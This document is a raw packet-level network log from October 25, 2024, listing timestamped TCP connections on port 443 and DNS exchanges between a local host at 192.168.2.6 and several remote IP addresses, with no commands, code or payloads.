Oct 25, 2024 10:18:02.333551884 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.333687067 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.336937904 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.338057041 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.343451023 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.376207113 CEST	443	49705	173.222.162.64	192.168.2.6
Oct 25, 2024 10:18:02.377317905 CEST	49705	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:02.424134016 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.424189091 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.424226046 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.424310923 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.424513102 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.425265074 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.429060936 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.429789066 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.430510998 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.435167074 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.462037086 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.462898016 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.462929010 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.462958097 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.498471022 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.499192953 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.504626989 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.555490971 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.555566072 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.555677891 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.555790901 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.560575962 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.561465025 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.562376022 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.566875935 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.614404917 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.623509884 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.623889923 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.624077082 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.628189087 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.628681898 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.633622885 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.634089947 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.686146975 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.686393976 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.686573029 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.687186956 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.735765934 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.736855984 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.737852097 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.741600037 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.742399931 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.743402004 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.753096104 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.753252983 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.753309011 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.764045000 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.766491890 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.772043943 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.861562967 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.861689091 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.861733913 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.861759901 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.861772060 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.861808062 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.864833117 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.864902020 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.864967108 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.869293928 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.871797085 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.873924017 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.877429962 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.889852047 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.889874935 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.889892101 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.889931917 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.891648054 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.891684055 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.891978025 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.895160913 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.897840023 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.903424025 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.996121883 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.996299982 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.996407986 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.998536110 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:03.020035982 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:03.020406961 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:03.022417068 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:03.067728996 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:03.325529099 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:03.328560114 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:03.329154015 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:03.330323935 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:03.332468987 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:03.334028006 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:03.337043047 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:03.378401995 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:03.451001883 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:03.453340054 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:03.453402042 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:03.456705093 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:03.457921028 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:03.458017111 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:03.460459948 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:03.505145073 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:11.366322994 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:11.366354942 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:11.366481066 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:11.372059107 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:11.372068882 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:12.231636047 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:12.231739044 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:13.279855967 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:13.279874086 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:13.280853987 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:13.459171057 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:13.703850985 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:13.747345924 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:13.983268023 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:13.983352900 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:13.983374119 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:13.983392954 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:13.983432055 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:13.983450890 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:13.983462095 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:13.983462095 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:13.983479023 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:13.983501911 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:13.983501911 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:13.983524084 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:13.983664036 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:13.983681917 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:13.983737946 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:13.983778954 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:13.983783007 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:13.984477997 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:13.984533072 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:14.000305891 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:14.000329018 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:14.000341892 CEST	49726	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:14.000348091 CEST	443	49726	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:15.046268940 CEST	49705	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:15.046366930 CEST	49705	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:15.046994925 CEST	49729	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:15.047020912 CEST	443	49729	173.222.162.64	192.168.2.6
Oct 25, 2024 10:18:15.047350883 CEST	49729	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:15.047729015 CEST	49729	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:15.047738075 CEST	443	49729	173.222.162.64	192.168.2.6
Oct 25, 2024 10:18:15.051594019 CEST	443	49705	173.222.162.64	192.168.2.6
Oct 25, 2024 10:18:15.051650047 CEST	443	49705	173.222.162.64	192.168.2.6
Oct 25, 2024 10:18:15.735750914 CEST	443	49729	173.222.162.64	192.168.2.6
Oct 25, 2024 10:18:15.735857010 CEST	49729	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:15.775237083 CEST	49729	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:15.775304079 CEST	443	49729	173.222.162.64	192.168.2.6
Oct 25, 2024 10:18:15.775842905 CEST	443	49729	173.222.162.64	192.168.2.6
Oct 25, 2024 10:18:15.775952101 CEST	49729	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:15.777203083 CEST	49729	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:15.777255058 CEST	443	49729	173.222.162.64	192.168.2.6
Oct 25, 2024 10:18:15.777695894 CEST	49729	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:15.819333076 CEST	443	49729	173.222.162.64	192.168.2.6
Oct 25, 2024 10:18:15.988307953 CEST	443	49729	173.222.162.64	192.168.2.6
Oct 25, 2024 10:18:15.988406897 CEST	49729	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:15.989244938 CEST	443	49729	173.222.162.64	192.168.2.6
Oct 25, 2024 10:18:15.989294052 CEST	49729	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:15.989309072 CEST	443	49729	173.222.162.64	192.168.2.6
Oct 25, 2024 10:18:15.989351988 CEST	49729	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:15.993894100 CEST	49729	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:15.993911982 CEST	443	49729	173.222.162.64	192.168.2.6
Oct 25, 2024 10:18:15.993928909 CEST	49729	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:15.993974924 CEST	49729	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:38.188646078 CEST	49734	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:18:38.194319963 CEST	53	49734	1.1.1.1	192.168.2.6
Oct 25, 2024 10:18:38.194448948 CEST	49734	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:18:38.194587946 CEST	49734	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:18:38.194607019 CEST	49734	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:18:38.200071096 CEST	53	49734	1.1.1.1	192.168.2.6
Oct 25, 2024 10:18:38.200439930 CEST	53	49734	1.1.1.1	192.168.2.6
Oct 25, 2024 10:18:38.213493109 CEST	49735	443	192.168.2.6	193.235.52.43
Oct 25, 2024 10:18:38.213522911 CEST	443	49735	193.235.52.43	192.168.2.6
Oct 25, 2024 10:18:38.213604927 CEST	49735	443	192.168.2.6	193.235.52.43
Oct 25, 2024 10:18:38.214903116 CEST	49735	443	192.168.2.6	193.235.52.43
Oct 25, 2024 10:18:38.214915037 CEST	443	49735	193.235.52.43	192.168.2.6
Oct 25, 2024 10:18:38.792445898 CEST	53	49734	1.1.1.1	192.168.2.6
Oct 25, 2024 10:18:38.793210030 CEST	49734	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:18:38.799467087 CEST	53	49734	1.1.1.1	192.168.2.6
Oct 25, 2024 10:18:38.799537897 CEST	49734	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:18:39.092581034 CEST	443	49735	193.235.52.43	192.168.2.6
Oct 25, 2024 10:18:39.099994898 CEST	49735	443	192.168.2.6	193.235.52.43
Oct 25, 2024 10:18:39.100003958 CEST	443	49735	193.235.52.43	192.168.2.6
Oct 25, 2024 10:18:39.100899935 CEST	443	49735	193.235.52.43	192.168.2.6
Oct 25, 2024 10:18:39.100971937 CEST	49735	443	192.168.2.6	193.235.52.43
Oct 25, 2024 10:18:39.102068901 CEST	49735	443	192.168.2.6	193.235.52.43
Oct 25, 2024 10:18:39.102122068 CEST	443	49735	193.235.52.43	192.168.2.6
Oct 25, 2024 10:18:39.102288008 CEST	49735	443	192.168.2.6	193.235.52.43
Oct 25, 2024 10:18:39.102293968 CEST	443	49735	193.235.52.43	192.168.2.6
Oct 25, 2024 10:18:39.145673990 CEST	49735	443	192.168.2.6	193.235.52.43
Oct 25, 2024 10:18:39.625396967 CEST	443	49735	193.235.52.43	192.168.2.6
Oct 25, 2024 10:18:39.625487089 CEST	443	49735	193.235.52.43	192.168.2.6
Oct 25, 2024 10:18:39.625524998 CEST	49735	443	192.168.2.6	193.235.52.43
Oct 25, 2024 10:18:39.625948906 CEST	49735	443	192.168.2.6	193.235.52.43
Oct 25, 2024 10:18:39.625967979 CEST	443	49735	193.235.52.43	192.168.2.6
Oct 25, 2024 10:18:39.625982046 CEST	49735	443	192.168.2.6	193.235.52.43
Oct 25, 2024 10:18:39.626023054 CEST	49735	443	192.168.2.6	193.235.52.43
Oct 25, 2024 10:18:39.646395922 CEST	49737	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:39.646471977 CEST	443	49737	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:39.646550894 CEST	49737	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:39.647058010 CEST	49737	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:39.647097111 CEST	443	49737	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:40.411029100 CEST	443	49737	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:40.413544893 CEST	49737	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:40.413602114 CEST	443	49737	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:40.414683104 CEST	443	49737	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:40.415429115 CEST	49737	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:40.415898085 CEST	49737	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:40.415898085 CEST	49737	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:40.415931940 CEST	443	49737	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:40.415996075 CEST	443	49737	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:40.473261118 CEST	49737	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:40.473273039 CEST	443	49737	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:40.517215967 CEST	49737	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:40.563112974 CEST	443	49737	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:40.571067095 CEST	443	49737	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:40.573321104 CEST	49737	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:40.580382109 CEST	49737	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:40.580388069 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:40.580419064 CEST	443	49737	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:40.580434084 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:40.581336975 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:40.585256100 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:40.585270882 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:41.348676920 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:41.370021105 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:41.370052099 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:41.370455980 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:41.371346951 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:41.371423960 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:41.373419046 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:41.419338942 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:41.968005896 CEST	49740	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:18:41.968080997 CEST	443	49740	142.250.186.100	192.168.2.6
Oct 25, 2024 10:18:41.968152046 CEST	49740	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:18:41.968384027 CEST	49740	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:18:41.968420029 CEST	443	49740	142.250.186.100	192.168.2.6
Oct 25, 2024 10:18:42.472270966 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.472291946 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.472383022 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:42.472414017 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.472935915 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.473036051 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:42.473052979 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.526360989 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:42.590131998 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.590142012 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.590235949 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:42.590478897 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.590487003 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.590554953 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:42.590570927 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.590631008 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:42.591480017 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.591486931 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.591540098 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:42.591545105 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.592449903 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.592515945 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:42.592521906 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.645298958 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:42.706959963 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.706970930 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.707001925 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.707010984 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.707040071 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.707052946 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:42.707135916 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:42.707428932 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.707498074 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.707775116 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:42.728809118 CEST	49738	443	192.168.2.6	13.107.137.11
Oct 25, 2024 10:18:42.728869915 CEST	443	49738	13.107.137.11	192.168.2.6
Oct 25, 2024 10:18:42.845125914 CEST	443	49740	142.250.186.100	192.168.2.6
Oct 25, 2024 10:18:42.845426083 CEST	49740	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:18:42.845474958 CEST	443	49740	142.250.186.100	192.168.2.6
Oct 25, 2024 10:18:42.846966982 CEST	443	49740	142.250.186.100	192.168.2.6
Oct 25, 2024 10:18:42.847059011 CEST	49740	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:18:42.850023985 CEST	49740	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:18:42.850166082 CEST	443	49740	142.250.186.100	192.168.2.6
Oct 25, 2024 10:18:42.895905018 CEST	49740	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:18:42.895930052 CEST	443	49740	142.250.186.100	192.168.2.6
Oct 25, 2024 10:18:42.943893909 CEST	49740	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:18:46.526539087 CEST	49756	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:46.526562929 CEST	443	49756	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:46.526613951 CEST	49756	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:46.526822090 CEST	49756	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:46.526830912 CEST	443	49756	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:47.258728981 CEST	443	49756	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:47.259367943 CEST	49756	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:47.259383917 CEST	443	49756	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:47.260869026 CEST	443	49756	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:47.260938883 CEST	49756	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:47.260950089 CEST	443	49756	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:47.261017084 CEST	49756	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:47.262593985 CEST	49756	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:47.262675047 CEST	443	49756	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:47.263166904 CEST	49756	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:47.263175964 CEST	443	49756	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:47.263226986 CEST	49756	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:47.303343058 CEST	443	49756	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:47.316055059 CEST	49756	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:47.403671026 CEST	443	49756	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:47.403692961 CEST	443	49756	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:47.403749943 CEST	49756	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:47.403763056 CEST	443	49756	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:47.403949976 CEST	49756	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:47.404957056 CEST	443	49756	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:47.405029058 CEST	443	49756	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:47.405081987 CEST	49756	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:47.405190945 CEST	49756	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:47.405200958 CEST	443	49756	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:47.405211926 CEST	49756	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:47.405287981 CEST	49756	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.127522945 CEST	49761	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.127578974 CEST	443	49761	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.127686024 CEST	49761	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.128011942 CEST	49761	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.128031969 CEST	443	49761	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.131462097 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.131500006 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.131560087 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.132086992 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.132102013 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.145134926 CEST	49763	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.145153999 CEST	443	49763	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.145215988 CEST	49763	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.145904064 CEST	49763	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.145920992 CEST	443	49763	52.108.9.12	192.168.2.6
